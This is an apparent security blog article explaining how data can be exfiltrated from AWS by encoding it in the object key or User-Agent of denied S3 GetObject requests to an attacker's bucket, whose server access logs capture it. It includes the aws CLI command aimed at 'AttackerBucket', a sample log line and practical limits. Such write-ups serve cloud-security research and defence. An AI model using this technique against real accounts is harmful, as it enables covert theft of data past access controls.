Skip to content

Article by Costas Kourmpoglou

Data Exfiltration through S3 Server Access Logs

If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

How

We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

We'll receive the data in the default logging format:

[..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate "GET / ExampleDataToExfiltrate HTTP/1.1" 403 AccessDenied 243 - 18 - "-" "UserAgentAlsoHasData " – […]

We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

Challenges

There are two challenges with this method:

  1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

  2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.